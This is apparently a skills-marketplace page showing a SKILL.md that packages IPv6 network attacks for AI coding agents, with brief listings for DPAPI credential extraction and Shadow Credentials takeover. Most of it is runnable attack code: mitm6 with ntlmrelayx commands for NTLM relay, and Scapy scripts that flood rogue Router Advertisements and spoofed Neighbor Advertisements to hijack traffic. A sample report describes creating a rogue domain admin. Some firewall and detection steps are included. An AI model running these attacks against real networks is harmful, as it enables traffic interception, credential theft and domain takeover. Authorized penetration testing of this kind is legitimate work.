菜单
Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-ipv6-vulnerabilities命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
正在显示 SKILL.md
基于 SOC 职业分类
| name | exploiting-ipv6-vulnerabilities |
| description | Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses. |
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","ipv6","slaac","router-advertisement","dual-stack-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"] |
| mitre_attack | ["T1046","T1040","T1557","T1071"] |
Do not use on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure.
# Check if IPv6 is enabled on the local interface
ip -6 addr show
# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address
# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0
# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0
# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement
# Use radvdump to capture existing RAs
sudo radvdump
# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only
# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen
mitm6 -d example.com -i eth0
impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot
#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""
from scapy.all import *
from scapy.layers.inet6 import *
# Craft a Router Advertisement packet
# This makes the attacker appear as the default IPv6 router
iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)
ra = (
Ether(dst="33:33:00:00:00:01") / # All-nodes multicast
IPv6(src=attacker_ipv6, dst="ff02::1") /
ICMPv6ND_RA(
routerlifetime=1800, # Advertise as router for 30 min
prf=1, # High preference
M=0, # No managed flag (use SLAAC)
O=1 # Other config via DHCPv6 (DNS)
) /
ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
ICMPv6NDOptPrefixInfo(
prefix="2001:db8:dead::", # Rogue prefix
prefixlen=64,
L=1,
A=1,
validlifetime=3600,
preferredlifetime=1800
) /
ICMPv6NDOptRDNSS(
dns=[attacker_ipv6], # Attacker as DNS server
lifetime=1800
)
)
print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")
# Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing)
# Using THC-IPv6 parasite6 tool
sudo parasite6 eth0
# Or craft with Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *
# Spoof Neighbor Advertisement to redirect traffic
target_ipv6 = "2001:db8::50" # Victim IPv6 address
gateway_ipv6 = "2001:db8::1" # Gateway IPv6 address
attacker_mac = get_if_hwaddr("eth0")
# Tell the victim that we are the gateway
na = (
Ether(dst="33:33:00:00:00:01") /
IPv6(src=gateway_ipv6, dst="ff02::1") /
ICMPv6ND_NA(
tgt=gateway_ipv6,
R=1, S=0, O=1 # Router flag, Override flag
) /
ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)
print("[*] Sending spoofed Neighbor Advertisements...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF
# Detect NDP spoofing with ndpmon
sudo ndpmon -i eth0
# Detect Teredo tunnels (IPv6 over UDP port 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst
# Detect 6to4 tunnels (protocol 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst
# Detect ISATAP tunnels
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10
# Scan for Teredo-enabled hosts
nmap -6 -sU -p 3544 --open 10.10.0.0/24
# Test if IPv6 tunnels bypass IPv4 firewall rules
# If Teredo is allowed, IPv6 traffic can bypass IPv4-only firewalls
curl -6 http://[2001:db8::50]:8080/ # Access via IPv6 tunnel
# Block unwanted IPv6 tunnels at the firewall
# iptables: block protocol 41 (6to4, ISATAP) and Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
# Verify ip6tables rules are in place
sudo ip6tables -L -n -v
# Test if IPv6 firewall mirrors IPv4 rules
# Common oversight: IPv4 firewall is strict, IPv6 is wide open
nmap -6 -sS -p- <target_ipv6_address>
# Compare IPv4 and IPv6 scan results
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)
# Check for IPv6 RA Guard on the switch
# Cisco: show ipv6 snooping policies
# If not enabled, document as finding
# Clean up: stop all IPv6 attack tools
sudo killall mitm6 parasite6 2>/dev/null
| Term | Definition |
|---|---|
| SLAAC (Stateless Address Autoconfiguration) | IPv6 mechanism where hosts automatically configure addresses from Router Advertisements without a DHCP server, exploitable by rogue RA injection |
| Router Advertisement (RA) | ICMPv6 message from routers announcing network prefixes, default gateway, and DNS configuration; rogue RAs enable MITM attacks |
| NDP (Neighbor Discovery Protocol) | IPv6 replacement for ARP that uses ICMPv6 for address resolution, router discovery, and duplicate address detection; vulnerable to spoofing |
| mitm6 | Tool that exploits Windows DHCPv6 preference to become the IPv6 DNS server, enabling DNS spoofing and NTLM credential relay |
| RA Guard | Switch-level security feature that filters rogue Router Advertisements, preventing unauthorized hosts from acting as IPv6 routers |
| IPv6 Tunneling | Encapsulation of IPv6 packets within IPv4 (6to4, Teredo, ISATAP) that can bypass IPv4-only security controls and firewalls |
Context: A company officially only uses IPv4 on their corporate network, but Windows workstations have IPv6 enabled by default. During an internal penetration test, the tester discovers that IPv6 is active on the VLAN and no IPv6 security controls (RA Guard, IPv6 ACLs) are deployed.
Approach:
Pitfalls:
## IPv6 Security Assessment Report
**Test ID**: IPV6-2024-001
**Target Network**: VLAN 10 (10.10.10.0/24, no official IPv6)
**Assessment Date**: 2024-03-15
### IPv6 Discovery
| Finding | Details |
|---------|---------|
| IPv6 Enabled Hosts | 147/150 workstations (Windows default) |
| Link-Local Addresses | Active on all discovered hosts |
| Router Advertisements | None detected (no IPv6 router) |
| DHCPv6 Server | None present |
| RA Guard | NOT configured on switches |
| IPv6 Firewall Rules | NONE (ip6tables empty) |
### Attack Results
| Attack | Result | Impact |
|--------|--------|--------|
| mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts |
| WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications |
| Domain Admin Relay | SUCCESS | Created rogue domain admin account |
| IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) |
### Recommendations
1. Deploy RA Guard on all access-layer switches (Critical)
2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical)
3. Disable DHCPv6 client via Group Policy where IPv6 is not needed
4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall
5. Deploy IPv6-aware IDS rules for NDP spoofing detection